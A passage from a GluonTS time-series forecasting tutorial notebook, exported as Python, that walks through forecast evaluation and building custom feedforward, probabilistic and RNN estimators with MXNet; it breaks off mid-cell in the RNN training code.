`Predictor`, can be saved and loaded back easily:\n\n# In[137]:\n\n\n# save the trained model in tmp/\nfrom pathlib import Path\npredictor.serialize(Path(\"/tmp/\"))\n\n\n# In[138]:\n\n\n# loads it back\nfrom gluonts.model.predictor import Predictor\npredictor_deserialized = Predictor.deserialize(Path(\"/tmp/\"))\n\n\n# # 4. Evaluation\n# \n# ## 4.1 Getting the forecasts\n# \n# With a predictor in hand, we can now predict the last window of the `dataset.test` and evaluate our model's performance.\n# \n# GluonTS comes with the `make_evaluation_predictions` function that automates the process of prediction and model evaluation. Roughly, this function performs the following steps:\n# \n# - Removes the final window of length `prediction_length` of the `dataset.test` that we want to predict\n# - The estimator uses the remaining data to predict (in the form of sample paths) the \"future\" window that was just removed\n# - The module outputs the forecast sample paths and the `dataset.test` (as python generator objects)\n\n# In[139]:\n\n\nfrom gluonts.evaluation.backtest import make_evaluation_predictions\n\n\n# In[141]:\n\n\nforecast_it, ts_it = make_evaluation_predictions(\n    dataset=test_ds,  # test dataset\n    predictor=predictor,  # predictor\n    num_samples=100,  # number of sample paths we want for evaluation\n)\n\n\n# First, we can convert these generators to lists to ease the subsequent computations.\n\n# In[142]:\n\n\nforecasts = list(forecast_it)\ntss = list(ts_it)\n\n\n# We can examine the first element of these lists (that corresponds to the first time series of the dataset). Let's start with the list containing the time series, i.e., `tss`. We expect the first entry of `tss` to contain the (target of the) first time series of `test_ds`.\n\n# In[143]:\n\n\n# first entry of the time series list\nts_entry = tss[0]\n\n\n# In[144]:\n\n\n# first 5 values of the time series (convert from pandas to numpy)\nnp.array(ts_entry[:5]).reshape(-1,)\n\n\n# In[145]:\n\n\n# first entry of test_ds\ntest_ds_entry = next(iter(test_ds))\n\n\n# In[146]:\n\n\n# first 5 values\ntest_ds_entry['target'][:5]\n\n\n# The entries in the `forecast` list are a bit more complex. They are objects that contain all the sample paths in the form of `numpy.ndarray` with dimension `(num_samples, prediction_length)`, the start date of the forecast, the frequency of the time series, etc. We can access all these information by simply invoking the corresponding attribute of the forecast object.\n\n# In[147]:\n\n\n# first entry of the forecast list\nforecast_entry = forecasts[0]\n\n\n# In[148]:\n\n\nprint(f\"Number of sample paths: {forecast_entry.num_samples}\")\nprint(f\"Dimension of samples: {forecast_entry.samples.shape}\")\nprint(f\"Start date of the forecast window: {forecast_entry.start_date}\")\nprint(f\"Frequency of the time series: {forecast_entry.freq}\")\n\n\n# We can also do calculations to summarize the sample paths, such as computing the mean or a quantile for each of the 24 time steps in the forecast window.\n\n# In[149]:\n\n\nprint(f\"Mean of the future window:\\n {forecast_entry.mean}\")\nprint(f\"0.5-quantile (median) of the future window:\\n {forecast_entry.quantile(0.5)}\")\n\n\n# `Forecast` objects have a `plot` method that can summarize the forecast paths as the mean, prediction intervals, etc. The prediction intervals are shaded in different colors as a \"fan chart\".\n\n# In[150]:\n\n\ndef plot_prob_forecasts(ts_entry, forecast_entry):\n    plot_length = 150 \n    prediction_intervals = (50.0, 90.0)\n    legend = [\"observations\", \"median prediction\"] + [f\"{k}% prediction interval\" for k in prediction_intervals][::-1]\n\n    fig, ax = plt.subplots(1, 1, figsize=(10, 7))\n    ts_entry[-plot_length:].plot(ax=ax)  # plot the time series\n    forecast_entry.plot(prediction_intervals=prediction_intervals, color='g')\n    plt.grid(which=\"both\")\n    plt.legend(legend, loc=\"upper left\")\n    plt.show()\n\n\n# In[56]:\n\n\nplot_prob_forecasts(ts_entry, forecast_entry)\n\n\n# ## 4.2 Compute metrics\n# \n# We can also evaluate the quality of our forecasts numerically. In GluonTS, the `Evaluator` class can compute aggregate performance metrics, as well as metrics per time series (which can be useful for analyzing performance across heterogeneous time series).\n\n# In[151]:\n\n\nfrom gluonts.evaluation import Evaluator\n\n\n# In[152]:\n\n\nevaluator = Evaluator(quantiles=[0.1, 0.5, 0.9])\nagg_metrics, item_metrics = evaluator(iter(tss), iter(forecasts), num_series=len(test_ds))\n\n\n# Aggregate metrics aggregate both across time-steps and across time series.\n\n# In[157]:\n\n\nprint(json.dumps(agg_metrics, indent=2))\n\n\n# Individual metrics are aggregated only across time-steps.\n\n# In[158]:\n\n\nitem_metrics.head()\n\n\n# In[159]:\n\n\nitem_metrics.plot(x='MSIS', y='MASE', kind='scatter')\nplt.grid(which=\"both\")\nplt.show()\n\n\n# # 5. Create your own model\n# \n# \u6682\u7f13\n# \n# For creating our own forecast model we need to:\n# \n# - Define the training and prediction network\n# - Define a new estimator that specifies any data processing and uses the networks\n# \n# The training and prediction networks can be arbitrarily complex but they should follow some basic rules:\n# \n# - Both should have a `hybrid_forward` method that defines what should happen when the network is called    \n# - The training network's `hybrid_forward` should return a **loss** based on the prediction and the true values\n# - The prediction network's `hybrid_forward` should return the predictions \n# \n# The estimator should also follow some rules:\n# \n# - It should include a `create_transformation` method that defines all the possible feature transformations and how the data is split during training\n# - It should include a `create_training_network` method that returns the training network configured with any necessary hyperparameters\n# - It should include a `create_predictor` method that creates the prediction network, and returns a `Predictor` object \n# \n# A `Predictor` defines the `predictor.predict` method of a given predictor. This method takes the test dataset, it passes it through the prediction network to take the predictions, and yields the predictions. You can think of the `Predictor` object as a wrapper of the prediction network that defines its `predict` method. \n# \n# In this section, we will start simple by creating a feedforward network that is restricted to point forecasts. Then, we will add complexity to the network by expanding it to probabilistic forecasting, considering features and scaling of the time series, and in the end we will replace it with an RNN.\n# \n# We need to emphasize that the way the following models are implemented and all the design choices that are made are neither binding nor necessarily optimal. Their sole purpose is to provide guidelines and hints on how to build a model. \n# \n# ## 5.1 Point forecasts with a simple feedforward network\n# \n# We can create a simple training network that defines a neural network that takes as input a window of length `context_length` and predicts the subsequent window of dimension `prediction_length` (thus, the output dimension of the network is `prediction_length`). The `hybrid_forward` method of the training network returns the mean of the L1 loss. \n# \n# The prediction network is (and should be) identical to the training network (by inheriting the class) and its `hybrid_forward` method returns the predictions.\n\n# In[62]:\n\n\nclass MyNetwork(gluon.HybridBlock):\n    def __init__(self, prediction_length, num_cells, **kwargs):\n        super().__init__(**kwargs)\n        self.prediction_length = prediction_length\n        self.num_cells = num_cells\n    \n        with self.name_scope():\n            # Set up a 3 layer neural network that directly predicts the target values\n            self.nn = mx.gluon.nn.HybridSequential()\n            self.nn.add(mx.gluon.nn.Dense(units=self.num_cells, activation='relu'))\n            self.nn.add(mx.gluon.nn.Dense(units=self.num_cells, activation='relu'))\n            self.nn.add(mx.gluon.nn.Dense(units=self.prediction_length, activation='softrelu'))\n\n\nclass MyTrainNetwork(MyNetwork):    \n    def hybrid_forward(self, F, past_target, future_target):\n        prediction = self.nn(past_target)\n        # calculate L1 loss with the future_target to learn the median\n        return (prediction - future_target).abs().mean(axis=-1)\n\n\nclass MyPredNetwork(MyTrainNetwork):\n    # The prediction network only receives past_target and returns predictions\n    def hybrid_forward(self, F, past_target):\n        prediction = self.nn(past_target)\n        return prediction.expand_dims(axis=1)\n\n\n# The estimator class is configured by a few hyperparameters and implements the required methods.\n\n# In[63]:\n\n\nfrom gluonts.model.estimator import GluonEstimator\nfrom gluonts.model.predictor import Predictor, RepresentableBlockPredictor\nfrom gluonts.core.component import validated\nfrom gluonts.trainer import Trainer\nfrom gluonts.support.util import copy_parameters\nfrom gluonts.transform import ExpectedNumInstanceSampler, Transformation, InstanceSplitter\nfrom mxnet.gluon import HybridBlock\n\n\n# In[64]:\n\n\nclass MyEstimator(GluonEstimator):\n    @validated()\n    def __init__(\n        self,\n        prediction_length: int,\n        context_length: int,\n        freq: str,\n        num_cells: int,\n        trainer: Trainer = Trainer()\n    ) -> None:\n        super().__init__(trainer=trainer)\n        self.prediction_length = prediction_length\n        self.context_length = context_length\n        self.freq = freq\n        self.num_cells = num_cells\n            \n    def create_transformation(self):\n        # Feature transformation that the model uses for input\n        # Here we use a transformation that defines only how the train and test windows are cut\n        return InstanceSplitter(\n                    target_field=FieldName.TARGET,\n                    is_pad_field=FieldName.IS_PAD,\n                    start_field=FieldName.START,\n                    forecast_start_field=FieldName.FORECAST_START,\n                    train_sampler=ExpectedNumInstanceSampler(num_instances=1),\n                    past_length=self.context_length,\n                    future_length=self.prediction_length,\n                )\n    \n    def create_training_network(self) -> MyTrainNetwork:\n        return MyTrainNetwork(\n            prediction_length=self.prediction_length,\n            num_cells = self.num_cells\n        )\n\n    def create_predictor(\n        self, transformation: Transformation, trained_network: HybridBlock\n    ) -> Predictor:\n        prediction_network = MyPredNetwork(\n            prediction_length=self.prediction_length,\n            num_cells=self.num_cells\n        )\n\n        copy_parameters(trained_network, prediction_network)\n\n        return RepresentableBlockPredictor(\n            input_transform=transformation,\n            prediction_net=prediction_network,\n            batch_size=self.trainer.batch_size,\n            freq=self.freq,\n            prediction_length=self.prediction_length,\n            ctx=self.trainer.ctx,\n        )\n\n\n# After defining the training and prediction network, as well as the estimator class, we can follow exactly the same steps as with the existing models, i.e., we can specify our estimator by passing all the required hyperparameters to the estimator class, train the estimator by invoking its `train` method to create a predictor, and finally use the `make_evaluation_predictions` function to generate our forecasts.\n\n# In[65]:\n\n\nestimator = MyEstimator(\n    prediction_length=custom_ds_metadata['prediction_length'],\n    context_length=2*custom_ds_metadata['prediction_length'],\n    freq=custom_ds_metadata['freq'],\n    num_cells=40,\n    trainer=Trainer(ctx=\"cpu\", \n                    epochs=5, \n                    learning_rate=1e-3, \n                    hybridize=False, \n                    num_batches_per_epoch=100\n                   )\n)\n\n\n# The estimator can be trained using our training dataset `train_ds` just by invoking its `train` method. The training returns a predictor that can be used to predict.\n\n# In[66]:\n\n\npredictor = estimator.train(train_ds)\n\n\n# In[67]:\n\n\nforecast_it, ts_it = make_evaluation_predictions(\n    dataset=test_ds,  # test dataset\n    predictor=predictor,  # predictor\n    num_samples=100,  # number of sample paths we want for evaluation\n)\n\n\n# In[68]:\n\n\nforecasts = list(forecast_it)\ntss = list(ts_it)\n\n\n# In[69]:\n\n\nplot_prob_forecasts(tss[0], forecasts[0])\n\n\n# Observe that we cannot actually see any prediction intervals in the predictions. This is expected since the model that we defined does not do probabilistic forecasting but it just gives point estimates. By requiring 100 sample paths (defined in `make_evaluation_predictions`) in such a network, we get 100 times the same output.\n# \n# ## 5.2 Probabilistic forecasting\n# \n# ### 5.2.1 How does a model learn a distribution?\n# \n# Probabilistic forecasting requires that we learn the distribution of the future values of the time series and not the values themselves as in point forecasting. To achieve this, we need to specify the type of distribution that the future values follow. GluonTS comes with a number of different distributions that cover many use cases, such as Gaussian, Student-t and Uniform just to name a few.  \n# \n# \n# In order to learn a distribution we need to learn its parameters. For example, in the simple case where we assume a Gaussian distribution, we need to learn the mean and the variance that fully specify the distribution.\n# \n# Each distribution that is available in GluonTS is defined by the corresponding `Distribution` class (e.g., `Gaussian`). This class defines -among others- the parameters of the distribution, its (log-)likelihood and a sampling method (given the parameters). \n# \n# However, it is not straightforward how to connect a model with such a distribution and learn its parameters. For this, each distribution comes with a `DistributionOutput` class (e.g., `GaussianOutput`). The role of this class is to connect a model with a distribution. Its main usage is to take the output of the model and map it to the parameters of the distribution. You can think of it as an additional projection layer on top of the model. The parameters of this layer are optimized along with the rest of the network.\n# \n# By including this projection layer, our model effectively learns the parameters of the (chosen) distribution of each time step. Such a model is usually optimized by choosing as a loss function the negative log-likelihood of the chosen distribution. After we optimize our model and learn the parameters we can sample or derive any other useful statistics from the learned distributions.\n# \n# ### 5.2.2 Feedforward network for probabilistic forecasting\n# \n# Let's see what changes we need to make to the previous model to make it probabilistic: \n# \n# - First, we need to change the output of the network. In the point forecast network the output was a vector of length `prediction_length` that gave directly the point estimates. Now, we need to output a set of features that the `DistributionOutput` will use to project to the distribution parameters. These features should be different for each time step at the prediction horizon. Therefore we need an overall output of `prediction_length * num_features` values.\n# - The `DistributionOutput` takes as input a tensor and uses the last dimension as features to be projected to the distribution parameters. Here, we need a distribution object for each time step, i.e., `prediction_length` distribution objects. Given that the output of the network has `prediction_length * num_features` values, we can reshape it to `(prediction_length, num_features)` and get the required distributions, while the last axis of length `num_features` will be projected to the distribution parameters. \n# - We want the prediction network to output many sample paths for each time series. To achieve this we can repeat each time series as many times as the number of sample paths and do a standard forecast for each of them. \n# \n# Note that in all the tensors that we handle there is an initial dimension that refers to the batch, e.g., the output of the network has dimension `(batch_size, prediction_length * num_features)`.\n\n# In[70]:\n\n\nfrom gluonts.distribution.distribution_output import DistributionOutput\nfrom gluonts.distribution.gaussian import GaussianOutput\n\n\n# In[71]:\n\n\nclass MyProbNetwork(gluon.HybridBlock):\n    def __init__(self, \n                 prediction_length, \n                 distr_output, \n                 num_cells, \n                 num_sample_paths=100, \n                 **kwargs\n    ) -> None:\n        super().__init__(**kwargs)\n        self.prediction_length = prediction_length\n        self.distr_output = distr_output\n        self.num_cells = num_cells\n        self.num_sample_paths = num_sample_paths\n        self.proj_distr_args = distr_output.get_args_proj()\n\n        with self.name_scope():\n            # Set up a 2 layer neural network that its ouput will be projected to the distribution parameters\n            self.nn = mx.gluon.nn.HybridSequential()\n            self.nn.add(mx.gluon.nn.Dense(units=self.num_cells, activation='relu'))\n            self.nn.add(mx.gluon.nn.Dense(units=self.prediction_length * self.num_cells, activation='relu'))\n\n\nclass MyProbTrainNetwork(MyProbNetwork):\n    def hybrid_forward(self, F, past_target, future_target):\n        # compute network output\n        net_output = self.nn(past_target)\n\n        # (batch, prediction_length * nn_features)  ->  (batch, prediction_length, nn_features)\n        net_output = net_output.reshape(0, self.prediction_length, -1)\n\n        # project network output to distribution parameters domain\n        distr_args = self.proj_distr_args(net_output)\n\n        # compute distribution\n        distr = self.distr_output.distribution(distr_args)\n\n        # negative log-likelihood\n        loss = distr.loss(future_target)\n        return loss\n\n\nclass MyProbPredNetwork(MyProbTrainNetwork):\n    # The prediction network only receives past_target and returns predictions\n    def hybrid_forward(self, F, past_target):\n        # repeat past target: from (batch_size, past_target_length) to \n        # (batch_size * num_sample_paths, past_target_length)\n        repeated_past_target = past_target.repeat(\n            repeats=self.num_sample_paths, axis=0\n        )\n        \n        # compute network output\n        net_output = self.nn(repeated_past_target)\n\n        # (batch * num_sample_paths, prediction_length * nn_features)  ->  (batch * num_sample_paths, prediction_length, nn_features)\n        net_output = net_output.reshape(0, self.prediction_length, -1)\n       \n        # project network output to distribution parameters domain\n        distr_args = self.proj_distr_args(net_output)\n\n        # compute distribution\n        distr = self.distr_output.distribution(distr_args)\n\n        # get (batch_size * num_sample_paths, prediction_length) samples\n        samples = distr.sample()\n        \n        # reshape from (batch_size * num_sample_paths, prediction_length) to \n        # (batch_size, num_sample_paths, prediction_length)\n        return samples.reshape(shape=(-1, self.num_sample_paths, self.prediction_length))\n\n\n# The changes we need to do at the estimator are minor and they mainly reflect the additional `distr_output` parameter that our networks use.\n\n# In[72]:\n\n\nclass MyProbEstimator(GluonEstimator):\n    @validated()\n    def __init__(\n            self,\n            prediction_length: int,\n            context_length: int,\n            freq: str,\n            distr_output: DistributionOutput,\n            num_cells: int,\n            num_sample_paths: int = 100,\n            trainer: Trainer = Trainer()\n    ) -> None:\n        super().__init__(trainer=trainer)\n        self.prediction_length = prediction_length\n        self.context_length = context_length\n        self.freq = freq\n        self.distr_output = distr_output\n        self.num_cells = num_cells\n        self.num_sample_paths = num_sample_paths\n\n    def create_transformation(self):\n        return InstanceSplitter(\n            target_field=FieldName.TARGET,\n            is_pad_field=FieldName.IS_PAD,\n            start_field=FieldName.START,\n            forecast_start_field=FieldName.FORECAST_START,\n            train_sampler=ExpectedNumInstanceSampler(num_instances=1),\n            past_length=self.context_length,\n            future_length=self.prediction_length,\n        )\n\n    def create_training_network(self) -> MyProbTrainNetwork:\n        return MyProbTrainNetwork(\n            prediction_length=self.prediction_length,\n            distr_output=self.distr_output,\n            num_cells=self.num_cells,\n            num_sample_paths=self.num_sample_paths\n        )\n\n    def create_predictor(\n            self, transformation: Transformation, trained_network: HybridBlock\n    ) -> Predictor:\n        prediction_network = MyProbPredNetwork(\n            prediction_length=self.prediction_length,\n            distr_output=self.distr_output,\n            num_cells=self.num_cells,\n            num_sample_paths=self.num_sample_paths\n        )\n\n        copy_parameters(trained_network, prediction_network)\n\n        return RepresentableBlockPredictor(\n            input_transform=transformation,\n            prediction_net=prediction_network,\n            batch_size=self.trainer.batch_size,\n            freq=self.freq,\n            prediction_length=self.prediction_length,\n            ctx=self.trainer.ctx,\n        )\n\n\n# In[73]:\n\n\nestimator = MyProbEstimator(\n    prediction_length=custom_ds_metadata['prediction_length'],\n    context_length=2*custom_ds_metadata['prediction_length'],\n    freq=custom_ds_metadata['freq'],\n    distr_output=GaussianOutput(),\n    num_cells=40,\n    trainer=Trainer(ctx=\"cpu\", \n                    epochs=5, \n                    learning_rate=1e-3, \n                    hybridize=False, \n                    num_batches_per_epoch=100\n                   )\n)\n\n\n# In[74]:\n\n\npredictor = estimator.train(train_ds)\n\n\n# In[75]:\n\n\nforecast_it, ts_it = make_evaluation_predictions(\n    dataset=test_ds,  # test dataset\n    predictor=predictor,  # predictor\n    num_samples=100,  # number of sample paths we want for evaluation\n)\n\n\n# In[76]:\n\n\nforecasts = list(forecast_it)\ntss = list(ts_it)\n\n\n# In[77]:\n\n\nplot_prob_forecasts(tss[0], forecasts[0])\n\n\n# ## 5.3 Add features and scaling\n# \n# In the previous networks we used only the target and did not leverage any of the features of the dataset. Here we expand the probabilistic network by including the `feat_dynamic_real` field of the dataset that could enhance the forecasting power of our model. We achieve this by concatenating the target and the features to an enhanced vector that forms the new network input. \n# \n# All the features that are available in a dataset can be potentially used as inputs to our model. However, for the purposes of this example we will restrict ourselves to using only one feature.\n# \n# An important issue that a practitioner needs to deal with often is the different orders of magnitude in the values of the time series in a dataset. It is extremely helpful for a model to be trained and forecast values that lie roughly in the same value range. To address this issue, we add a `Scaler` to out model, that computes the scale of each time series. Then we can scale accordingly the values of the time series or any related features and use these as inputs to the network.\n\n# In[78]:\n\n\nfrom gluonts.block.scaler import MeanScaler, NOPScaler\n\n\n# In[79]:\n\n\nclass MyProbNetwork(gluon.HybridBlock):\n    def __init__(self, \n                 prediction_length, \n                 context_length, \n                 distr_output, \n                 num_cells, \n                 num_sample_paths=100, \n                 scaling=True, \n                 **kwargs\n    ) -> None:\n        super().__init__(**kwargs)\n        self.prediction_length = prediction_length\n        self.context_length = context_length\n        self.distr_output = distr_output\n        self.num_cells = num_cells\n        self.num_sample_paths = num_sample_paths\n        self.proj_distr_args = distr_output.get_args_proj()\n        self.scaling = scaling\n\n        with self.name_scope():\n            # Set up a 2 layer neural network that its ouput will be projected to the distribution parameters\n            self.nn = mx.gluon.nn.HybridSequential()\n            self.nn.add(mx.gluon.nn.Dense(units=self.num_cells, activation='relu'))\n            self.nn.add(mx.gluon.nn.Dense(units=self.prediction_length * self.num_cells, activation='relu'))\n\n            if scaling:\n                self.scaler = MeanScaler(keepdims=True)\n            else:\n                self.scaler = NOPScaler(keepdims=True)\n\n    def compute_scale(self, past_target, past_observed_values):\n        # scale shape is (batch_size, 1)\n        _, scale = self.scaler(\n            past_target.slice_axis(\n                axis=1, begin=-self.context_length, end=None\n            ),\n            past_observed_values.slice_axis(\n                axis=1, begin=-self.context_length, end=None\n            ),\n        )\n\n        return scale\n\n\nclass MyProbTrainNetwork(MyProbNetwork):\n    def hybrid_forward(self, F, past_target, future_target, past_observed_values, past_feat_dynamic_real):\n        # compute scale \n        scale = self.compute_scale(past_target, past_observed_values)\n\n        # scale target and time features\n        past_target_scale = F.broadcast_div(past_target, scale)\n        past_feat_dynamic_real_scale = F.broadcast_div(past_feat_dynamic_real.squeeze(axis=-1), scale)\n\n        # concatenate target and time features to use them as input to the network\n        net_input = F.concat(past_target_scale, past_feat_dynamic_real_scale, dim=-1)\n\n        # compute network output\n        net_output = self.nn(net_input)\n\n        # (batch, prediction_length * nn_features)  ->  (batch, prediction_length, nn_features)\n        net_output = net_output.reshape(0, self.prediction_length, -1)\n\n        # project network output to distribution parameters domain\n        distr_args = self.proj_distr_args(net_output)\n\n        # compute distribution\n        distr = self.distr_output.distribution(distr_args, scale=scale)\n\n        # negative log-likelihood\n        loss = distr.loss(future_target)\n        return loss\n\n\nclass MyProbPredNetwork(MyProbTrainNetwork):\n    # The prediction network only receives past_target and returns predictions\n    def hybrid_forward(self, F, past_target, past_observed_values, past_feat_dynamic_real):\n        # repeat fields: from (batch_size, past_target_length) to\n        # (batch_size * num_sample_paths, past_target_length)\n        repeated_past_target = past_target.repeat(\n            repeats=self.num_sample_paths, axis=0\n        )\n        repeated_past_observed_values = past_observed_values.repeat(\n            repeats=self.num_sample_paths, axis=0\n        )\n        repeated_past_feat_dynamic_real = past_feat_dynamic_real.repeat(\n            repeats=self.num_sample_paths, axis=0\n        )\n        \n        # compute scale\n        scale = self.compute_scale(repeated_past_target, repeated_past_observed_values)\n\n        # scale repeated target and time features\n        repeated_past_target_scale = F.broadcast_div(repeated_past_target, scale)\n        repeated_past_feat_dynamic_real_scale = F.broadcast_div(repeated_past_feat_dynamic_real.squeeze(axis=-1), scale)\n\n        # concatenate target and time features to use them as input to the network\n        net_input = F.concat(repeated_past_target_scale, repeated_past_feat_dynamic_real_scale, dim=-1)\n\n        # compute network oputput\n        net_output = self.nn(net_input)\n        \n        # (batch * num_sample_paths, prediction_length * nn_features)  ->  (batch * num_sample_paths, prediction_length, nn_features)\n        net_output = net_output.reshape(0, self.prediction_length, -1)\n\n        # project network output to distribution parameters domain\n        distr_args = self.proj_distr_args(net_output)\n        \n        # compute distribution\n        distr = self.distr_output.distribution(distr_args, scale=scale)\n\n        # get (batch_size * num_sample_paths, prediction_length) samples\n        samples = distr.sample()\n\n        # reshape from (batch_size * num_sample_paths, prediction_length) to\n        # (batch_size, num_sample_paths, prediction_length)\n        return samples.reshape(shape=(-1, self.num_sample_paths, self.prediction_length))\n\n\n# In[80]:\n\n\nclass MyProbEstimator(GluonEstimator):\n    @validated()\n    def __init__(\n            self,\n            prediction_length: int,\n            context_length: int,\n            freq: str,\n            distr_output: DistributionOutput,\n            num_cells: int,\n            num_sample_paths: int = 100,\n            scaling: bool = True,\n            trainer: Trainer = Trainer()\n    ) -> None:\n        super().__init__(trainer=trainer)\n        self.prediction_length = prediction_length\n        self.context_length = context_length\n        self.freq = freq\n        self.distr_output = distr_output\n        self.num_cells = num_cells\n        self.num_sample_paths = num_sample_paths\n        self.scaling = scaling\n\n    def create_transformation(self):\n        # Feature transformation that the model uses for input.\n        return Chain(\n            [\n                AddObservedValuesIndicator(\n                    target_field=FieldName.TARGET,\n                    output_field=FieldName.OBSERVED_VALUES,\n                ),\n                InstanceSplitter(\n                    target_field=FieldName.TARGET,\n                    is_pad_field=FieldName.IS_PAD,\n                    start_field=FieldName.START,\n                    forecast_start_field=FieldName.FORECAST_START,\n                    train_sampler=ExpectedNumInstanceSampler(num_instances=1),\n                    past_length=self.context_length,\n                    future_length=self.prediction_length,\n                    time_series_fields=[\n                        FieldName.FEAT_DYNAMIC_REAL,\n                        FieldName.OBSERVED_VALUES,\n                    ],\n                ),\n\n            ]\n        )\n\n    def create_training_network(self) -> MyProbTrainNetwork:\n        return MyProbTrainNetwork(\n            prediction_length=self.prediction_length,\n            context_length=self.context_length,\n            distr_output=self.distr_output,\n            num_cells=self.num_cells,\n            num_sample_paths=self.num_sample_paths,\n            scaling=self.scaling\n        )\n\n    def create_predictor(\n            self, transformation: Transformation, trained_network: HybridBlock\n    ) -> Predictor:\n        prediction_network = MyProbPredNetwork(\n            prediction_length=self.prediction_length,\n            context_length=self.context_length,\n            distr_output=self.distr_output,\n            num_cells=self.num_cells,\n            num_sample_paths=self.num_sample_paths,\n            scaling=self.scaling\n        )\n\n        copy_parameters(trained_network, prediction_network)\n\n        return RepresentableBlockPredictor(\n            input_transform=transformation,\n            prediction_net=prediction_network,\n            batch_size=self.trainer.batch_size,\n            freq=self.freq,\n            prediction_length=self.prediction_length,\n            ctx=self.trainer.ctx,\n        )\n\n\n# In[81]:\n\n\nestimator = MyProbEstimator(\n    prediction_length=custom_ds_metadata['prediction_length'],\n    context_length=2*custom_ds_metadata['prediction_length'],\n    freq=custom_ds_metadata['freq'],\n    distr_output=GaussianOutput(),\n    num_cells=40,\n    trainer=Trainer(ctx=\"cpu\", \n                    epochs=5, \n                    learning_rate=1e-3, \n                    hybridize=False, \n                    num_batches_per_epoch=100\n                   )\n)\n\n\n# In[82]:\n\n\npredictor = estimator.train( )\n\n\n# In[83]:\n\n\nforecast_it, ts_it = make_evaluation_predictions(\n    dataset=test_ds,  # test dataset\n    predictor=predictor,  # predictor\n    num_samples=100,  # number of sample paths we want for evaluation\n)\n\n\n# In[84]:\n\n\nforecasts = list(forecast_it)\ntss = list(ts_it)\n\n\n# In[85]:\n\n\nplot_prob_forecasts(tss[0], forecasts[0])\n\n\n# ## 5.4 From feedforward to RNN\n# \n# In all the previous examples we have used a feedforward neural network as the base for our forecasting model. The main idea behind it was to use as an input to the network a window of the time series (of length `context_length`) and train the network to forecast the following window (of length `prediction_length`). \n# \n# In this section we will replace the feedforward network with a recurrent neural network (RNN). Due to the different nature of RNNs the structure of the networks will be a bit different. Let's see what are the major changes. \n# \n# ### 5.4.1 Training\n# \n# The main idea behind RNN is the same as in the feedforward networks we already constructed: as we unrolll the RNN at each time step we use as an input past values of the time series and forecast the next value. We can enhance the input by using multiple past values (for example specific lags based on seasonality patterns) or available features. However, in this example we will keep things simple and just use the last value of the time series. The output of the network at each time step is the distribution of the value of the next time step, where the state of the RNN is used as the feature vector for the parameter projection of the distribution.\n# \n# Due to the sequential nature of the RNN, the distinction between `past_` and `future_` in the cut window of the time series is not really necessary. Therefore, we can concatenate `past_target` and `future_target ` and treat it as a concrete `target` window that we wish to forecast. This means that the input to the RNN would be (sequentially) the window `target[-(context_length + prediction_length + 1):-1]` (one time step before the window we want to predict). As a consequence, we need to have `context_length + prediction_length + 1` available values at each window that we cut. We can define this in the `InstanceSplitter`. \n# \n# Overall, during training the steps are the following:\n# \n# - We pass sequentially through the RNN the target values `target[-(context_length + prediction_length + 1):-1]` \n# - We use the state of the RNN at each time step as a feature vector and project it to the distribution parameter domain\n# - The output at each time step is the distribution of the values of the next time step, which overall is the forecasted distribution for the window `target[-(context_length + prediction_length):]`\n# \n# The above steps are implemented in the `unroll_encoder` method.\n# \n# ### 5.4.2 Inference\n# \n# During inference we know the values only of `past_target` therefore we cannot follow exactly the same steps as in training. However the main idea is very similar:\n# \n# - We pass sequentially through the RNN the past target values `past_target[-(context_length + 1):]` that effectively updates the state of the RNN\n# - In the last time step the output of the RNN is effectively the distribution of the next value of the time series (which we do not know). Therefore we sample (`num_sample_paths` times) from this distribution and use the samples as inputs to the RNN for the next time step\n# - We repeat the previous step `prediction_length` times \n# \n# The first step is implemented in `unroll_encoder` and the last steps in the `sample_decoder` method.\n\n# In[86]:\n\n\nclass MyProbRNN(gluon.HybridBlock):\n    def __init__(self,\n                 prediction_length,\n                 context_length,\n                 distr_output,\n                 num_cells,\n                 num_layers,\n                 num_sample_paths=100,\n                 scaling=True,\n                 **kwargs\n     ) -> None:\n        super().__init__(**kwargs)\n        self.prediction_length = prediction_length\n        self.context_length = context_length\n        self.distr_output = distr_output\n        self.num_cells = num_cells\n        self.num_layers = num_layers\n        self.num_sample_paths = num_sample_paths\n        self.proj_distr_args = distr_output.get_args_proj()\n        self.scaling = scaling\n\n        with self.name_scope():\n            self.rnn = mx.gluon.rnn.HybridSequentialRNNCell()\n            for k in range(self.num_layers):\n                cell = mx.gluon.rnn.LSTMCell(hidden_size=self.num_cells)\n                cell = mx.gluon.rnn.ResidualCell(cell) if k > 0 else cell\n                self.rnn.add(cell)\n\n            if scaling:\n                self.scaler = MeanScaler(keepdims=True)\n            else:\n                self.scaler = NOPScaler(keepdims=True)\n\n    def compute_scale(self, past_target, past_observed_values):\n        # scale is computed on the context length last units of the past target\n        # scale shape is (batch_size, 1, *target_shape)\n        _, scale = self.scaler(\n            past_target.slice_axis(\n                axis=1, begin=-self.context_length, end=None\n            ),\n            past_observed_values.slice_axis(\n                axis=1, begin=-self.context_length, end=None\n            ),\n        )\n\n        return scale\n\n    def unroll_encoder(self, \n                       F, \n                       past_target, \n                       past_observed_values, \n                       future_target=None, \n                       future_observed_values=None):\n        # overall target field\n        # input target from -(context_length + prediction_length + 1) to -1\n        if future_target is not None:  # during training\n            target_in = F.concat(\n                past_target, future_target, dim=-1\n            ).slice_axis(\n                axis=1, begin=-(self.context_length + self.prediction_length + 1), end=-1\n            )\n\n            # overall observed_values field\n            # input observed_values corresponding to target_in\n            observed_values_in = F.concat(\n                past_observed_values, future_observed_values, dim=-1\n            ).slice_axis(\n                axis=1, begin=-(self.context_length + self.prediction_length + 1), end=-1\n            )\n\n            rnn_length = self.context_length + self.prediction_length\n        else:  # during inference\n            target_in = past_target.slice_axis(\n                axis=1, begin=-(self.context_length + 1), end=-1\n            )\n\n            # overall observed_values field\n            # input observed_values corresponding to target_in\n            observed_values_in = past_observed_values.slice_axis(\n                axis=1, begin=-(self.context_length + 1), end=-1\n            )\n\n            rnn_length = self.context_length\n\n        # compute scale\n        scale = self.compute_scale(target_in, observed_values_in)\n\n        # scale target_in\n        target_in_scale = F.broadcast_div(target_in, scale)\n\n        # compute network output\n        net_output, states = self.rnn.unroll(\n            inputs=target_in_scale,\n            length=rnn_length,\n            layout=\"NTC\",\n            merge_outputs=True,\n        )\n\n        return net_output, states, scale\n\n\nclass MyProbTrainRNN(MyProbRNN):\n    def hybrid_forward(self,\n                       F,\n                       past_target,\n                       future_target,\n                       past_observed_values,\n                       future_observed_values):\n\n        net_output, _, scale = self.unroll_encoder(F,\n                                                   past_target,\n                                                   past_observed_values,\n                                                   future_target,\n                                                   future_observed_values)\n\n        # output target from -(context_length + prediction_length) to end\n        target_out = F.concat(\n            past_target, future_target, dim=-1\n        ).slice_axis(\n            